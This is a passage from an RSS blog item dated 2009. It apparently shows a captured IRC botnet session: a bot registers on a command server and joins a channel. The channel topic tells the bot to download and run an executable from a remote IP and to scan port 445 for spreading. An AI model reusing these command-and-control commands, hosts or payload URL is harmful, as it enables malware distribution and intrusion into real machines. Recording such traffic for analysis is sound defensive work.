rose.linkpc.net&nbsp;[60.10.179.100]&nbsp;8280&nbsp;(?)&nbsp;open<br />
PASS&nbsp;lol<br />
NICK&nbsp;CHN|XP|SP2|01827162<br />
USER&nbsp;chn&nbsp;*&nbsp;0:&nbsp;chn<br />
PING&nbsp;:D9839FD2<br />
PONG&nbsp;:D9839FD2<br />
:.&nbsp;004&nbsp;CHN|XP|SP2|01827162<br />
:.&nbsp;005&nbsp;CHN|XP|SP2|01827162&nbsp;&nbsp;:<br />
:.&nbsp;005&nbsp;CHN|XP|SP2|01827162&nbsp;&nbsp;:<br />
:.&nbsp;005&nbsp;CHN|XP|SP2|01827162&nbsp;&nbsp;:<br />
JOIN&nbsp;#tsunami3<br />
:CHN|XP|SP2|01827162!chn@65.99.199.216&nbsp;JOIN&nbsp;:#tsunami3<br />
:.&nbsp;332&nbsp;CHN|XP|SP2|01827162&nbsp;#tsunami3&nbsp;:|.ddosstop&nbsp;-s|.stop&nbsp;-s|.shttp <a class="UnknownUrl" title="阿里旺旺无法确定该链接的安全性" href="http://60.10.179.100:15555/2.exe" target="_blank">http://60.10.179.100:15555/2.exe</a>&nbsp;-s|.asc&nbsp;net445&nbsp;100&nbsp;5&nbsp;9999&nbsp;-b&nbsp;-r&nbsp;-s<br />
:.&nbsp;333&nbsp;CHN|XP|SP2|01827162&nbsp;#tsunami3&nbsp;ssss&nbsp;1259808419<br />
:.&nbsp;353&nbsp;CHN|XP|SP2|01827162&nbsp;@&nbsp;#tsunami3&nbsp;:CHN|XP|SP2|01827162<br />
:.&nbsp;366&nbsp;CHN|XP|SP2|01827162&nbsp;#tsunami3&nbsp;:End&nbsp;of&nbsp;/NAMES&nbsp;list.<br />
</font></p>
</blockquote>
				]]>
			</description>
			<pubDate>Thu, 03 Dec 2009 13:33:49 +0800</pubDate>
		</item>
	</channel>
</rss>
